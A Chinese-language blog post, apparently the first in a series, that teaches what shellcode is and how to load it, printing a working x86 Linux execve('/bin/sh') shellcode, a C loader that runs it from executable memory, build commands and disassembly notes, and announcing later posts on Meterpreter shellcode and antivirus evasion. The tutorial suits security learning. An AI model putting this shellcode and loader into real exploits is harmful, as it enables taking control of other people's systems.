休止千鹤 | 我依旧是一名平凡的学生
我可能又要开一个系列文, 希望这次不要太监了.
最近正在重新自学一些比较二进制的东西. 一边学一边探索. 并且做一些记录分享给各位.
这个系列可能会需要你具备一点前置知识:
通俗的说,编译好的程序就像是一定格式的剧本。不同操作系统通常支持不同的剧本格式。比如windows就是PE,后缀是exe的那个玩意儿,Linux是ELF。而不同CPU架构主要可以理解为剧本语言上的不同。
当一个程序被启动后,“剧本”就被加载进内存,CPU会一条一条去按着剧本内容去演出。CPU怎么知道当前演到哪一条呢?CPU有寄存器,可以记住一些信息,比如x86架构中,就有一个叫做EIP的寄存器。这个寄存器会记住现在演到哪里了。
当然,很多程序会需要从用户那边读取数据,然后把数据放在内存中。等等哈,内存这下岂不是又存着剧本,又存着用户输入了?如果……我们故意让用户输入覆盖掉原本的指令,并且让EIP寄存器恰好指向那里,去执行那些指令,诶?我们这不就篡改了剧本,夺舍这个程序,让这个程序变成傀儡?如果这个程序还具有一定的权限,岂不是为所欲为“?
那这个发过去的,具有攻击意图的用户输入,我们就叫payload。攻击载荷。等等,这和shellcode有什么关系?
嗯…很多人分不清shellcode和payload. 其实也算是一个历史原因. 现在shellcode和payload的界限也不是很明确.
早年在溢出漏洞横行的年代, 有些比较严重的漏洞可以允许我们控制指令指针寄存器(比如x86的EIP)指向的地址, 并且可以在内存中写入我们的恶意代码. 那么我们就可以控制目标的机器, 把指令寄存器指向我们写入的代码区域, 运行我们写入内存的指令.
运行什么指令呢? 跑跑一个两个命令又不过瘾, 每次执行完了还得再构造一遍, 而后再利用一遍漏洞, 这太麻烦, 怎么办? 运行一个/bin/sh直接接过来, 我们直接操作终端不好么?
于是这种能够获得一个shell的代码, 就被成为shellcode了. 由于写进内存, 由CPU直接运行, shellcode基本上都是机器码.
随着各种技术, 比如栈保护, NX, 地址随机化, 代码规范和各种不同的语言出现,这类漏洞越来愈少.
而我们也用上了像metasploit这样的大家伙, 它生成的meterpreter也被称为shellcode, 但是功能上已经不再是单纯获取一个shell而已. 所以到底什么是shellcode? 这个界限越来越模糊.
所以,payload是你发向目标的, 可以帮助你达成某些攻击目的的东西. 可以是SQL, 可以是jar, 可以是各种各样的东西, 承载着你攻击的目的而发出去的东西.
而shellcode通常就是上文说的那一段机器码, 目的是get shell, 或者获取一种暂时连接的, 方便攻击者执行任意命令的会话.(我认为)
shellcode应该是payload的子集.
我们来看一个shellcode, 你可以动手编一段代码, 然后用各种手段编译成机器码, 或者……
问chatGPT, 给你一个
题外话插一句, chatGPT真的是一位很好的老师, 还真就什么都知道. 所以, 你有问题就问他, 他会解释给你听. 尽管偶尔有点错误但也八九不离十.
chatGPT给了我一个非常简单的示例, x86平台, 针对linux系统.
以下这段shellcode将调用execve
系统调用来执行/bin/sh
,从而打开一个shell。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
我这里说一下execve()
, 就是可以直接把一个新的程序加载在当前程序的内存中. 你简单理解为”夺舍”就行. 这个情况就是让/bin/sh
附身到当前用execve
召唤它的进程上.
这是参数:
int execve(const char *pathname, char *const _Nullable argv[],
char *const _Nullable envp[]);
在汇编的角度看函数调用, 我们需要提前把一些参数压入栈, 有些参数也可以通过寄存器传递. 函数返回值也需要占用一个寄存器.
chatGPT给了我以上代码每一行的解释. 不过在解释之前, 为了你读着方便, 我插一个图.
我们可以使用一个非常好的逆向工具, 叫做cutter
来分析这段shellcode.
简单提一下, 这个工具可以静态分析, 也可以动态分析. 还可以反编译.
把以上的shellcode直接复制粘贴进启动页面shellcode栏, 我们便可以分析.
逐行理解, 不知道你读懂了没有.
问题来了, 我们如何运行这段shellcode呢?
我们需要把以上的shellcode放进一段可执行内存, 并且让程序去执行这段内存. 具体点, 就是:
mmap
让系统为我们分配一小块内存, 标记为可以执行.memcpy
把shellcode复制进那块内存.#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main() {
// 将shellcode转换为字节数组
unsigned char shellcode[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
// 计算shellcode的长度
size_t shellcode_length = sizeof(shellcode) - 1;
// 分配内存并设置为可读、可写、可执行
void *memory = mmap(NULL, shellcode_length, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// 将shellcode复制到分配的内存中
memcpy(memory, shellcode, shellcode_length);
// 定义一个函数指针,指向我们分配的内存(即shellcode)
void (*shellcode_func)() = (void (*)())memory;
// 调用shellcode_func,执行shellcode
shellcode_func();
return 0;
}
然后我们可以用gcc编译它,
gcc -m32 -o shellcode_test shellcode_test.c
./shellcode_test
运行这段程序, 我们将会看到我们的程序成了sh.
那么我们的shellcode被藏在什么地方了呢?
Linux中可执行文件的格式叫ELF. ELF有很多”段”, 结构非常复杂.
由于我们在C代码中, 把shellcode定义成了一个字符串. 所以在编译以后被写进了.rodata
段. 一般静态数据都会写进.data
, .rodata
的ro是read only的意思.
我们可以用readelf -S
命令找到.rodata的地址. 本例在0x00002000
我们用工具Cutter中的Hexdump看看, 具体位置在0x00002010:
看看反汇编呢?
本篇简单讲了一下什么是shellcode, 怎么加载一段shellcode.
实战中并不会怎么直接把shellcode直接丢进代码编译.
在后面的文章中我们会探究如何使用meterpreter
的shellcode并且进行简单的免杀
先是linux, 而后是windows.
Views:
Comments
(no comments...maybe you can be the first?)